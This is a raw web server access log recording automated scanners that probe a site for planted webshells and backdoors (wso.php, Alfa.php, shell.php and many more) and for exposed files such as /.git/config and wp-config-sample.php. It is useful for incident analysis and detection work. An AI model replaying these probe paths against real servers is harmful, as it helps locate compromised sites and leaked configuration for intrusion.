[13/Apr/2025:05:55:34 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:34 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:36 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:38 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:39 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:39 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:40 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:41 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:42 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:42 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:43 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:44 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:45 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:45 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:45 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:46 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:46 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:46 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:47 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:47 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 34.205.19.248 - - [13/Apr/2025:06:07:06 -0400] "GET /.git/config HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 9; ONEPLUS A6013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3880.5 Mobile Safari/537.36" 66.249.79.100 - - [13/Apr/2025:06:17:31 -0400] "GET /robots.txt HTTP/1.1" 200 42 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [13/Apr/2025:06:17:32 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.153.74.75 - - [13/Apr/2025:06:54:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [13/Apr/2025:06:57:18 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:06:59:32 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:06:59:43 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:00:19 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:00:42 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:00:46 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:00:56 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:01:23 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:01:36 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:01:56 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:02:21 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:03:01 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:03:12 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:04:17 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:04:24 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:04:32 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:05:07 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:05:23 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:05:40 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:05:50 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:07:06:12 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.85.180.104 - - [13/Apr/2025:07:17:44 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:45 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:46 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:46 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:47 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:47 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:47 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:48 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:48 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:48 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:49 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:49 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:49 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:50 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:50 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:50 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:51 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:51 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:51 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:52 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:52 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:53 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:53 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:53 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:54 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:54 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:54 -0400] "GET /admin/indexupload.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:55 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:55 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:56 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:56 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:56 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:57 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:57 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:57 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:58 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:58 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:59 -0400] "GET /white.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:17:59 -0400] "GET /wp-content/languages/a2.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:00 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:00 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:00 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:01 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:01 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:01 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:02 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:02 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:02 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:03 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:03 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:04 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:04 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:04 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:05 -0400] "GET /wp-content/plugins/elementor/assets/css/sf2vh3/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:05 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:05 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:06 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:06 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:07 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:07 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:07 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:08 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:08 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:08 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:09 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:09 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:10 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:10 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:11 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:11 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:11 -0400] "GET /wp-includes/css/dist/format-library/lock.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:12 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:12 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:12 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:13 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:13 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:14 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:14 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:14 -0400] "GET /wp-includes/ID3/go.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:15 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:15 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:16 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:16 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:16 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:17 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:17 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:17 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:18 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:18 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:18 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:19 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:19 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:19 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:20 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:20 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:21 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:22 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:22 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:22 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:23 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:23 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:23 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:24 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:24 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:25 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:26 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:26 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:27 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:27 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:27 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:28 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:28 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:28 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:29 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:30 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:30 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:31 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:31 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:31 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:32 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:32 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:33 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:33 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:33 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:34 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:34 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:34 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:35 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:35 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:36 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:36 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:37 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:37 -0400] "GET /wp-cdi.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:37 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:38 -0400] "GET /wp-content/plugins/nbs7drg5/fooster1337.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:38 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:38 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:39 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:39 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:39 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:40 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:40 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:40 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:41 -0400] "GET /wp-content/pm.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:42 -0400] "GET /wp-content/plugins/erinyani/past.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:42 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:43 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:43 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:44 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:44 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:44 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:45 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:45 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:45 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:46 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:46 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:46 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:47 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:47 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:47 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:48 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:48 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:49 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:49 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:49 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:50 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:50 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:50 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:51 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:51 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:51 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:52 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:52 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:52 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:52 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:53 -0400] "GET /wp-content/plugins/pwnd/2.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:53 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 